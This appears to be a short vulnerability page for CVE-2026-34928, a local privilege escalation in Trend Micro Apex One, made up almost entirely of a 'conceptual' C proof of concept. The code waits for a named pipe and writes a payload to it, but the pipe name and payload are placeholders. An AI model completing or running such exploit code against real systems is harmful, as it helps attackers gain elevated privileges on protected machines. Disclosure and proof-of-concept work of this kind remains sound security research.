CVE-2026-34928 Trend Micro Apex One本地提权漏洞

/* * Conceptual PoC for CVE-2026-34928 * This script demonstrates how a low-privileged user might attempt * to interact with a vulnerable named pipe. * Note: Actual packet structure and pipe name require reverse engineering. */ #include <windows.h> #include <stdio.h> int main() { HANDLE hPipe; char pipeName[] = "\\\\.\\pipe\\VULNERABLE_AGENT_PIPE"; // Placeholder char data[] = "MALICIOUS_PAYLOAD_BYTES"; // Placeholder DWORD bytesWritten; printf("[+] Attempting to connect to named pipe...\n"); // Wait for pipe to be available (optional loop) while (1) { hPipe = CreateFileA( pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if (hPipe != INVALID_HANDLE_VALUE) { break; } Sleep(1000); } printf("[+] Connected to pipe. Sending payload...\n"); BOOL result = WriteFile( hPipe, data, strlen(data), &bytesWritten, NULL ); if (result) { printf("[+] Payload sent successfully. Check for privilege escalation.\n"); } else { printf("[-] Failed to send payload. Error: %d\n", GetLastError()); } CloseHandle(hPipe); return 0; }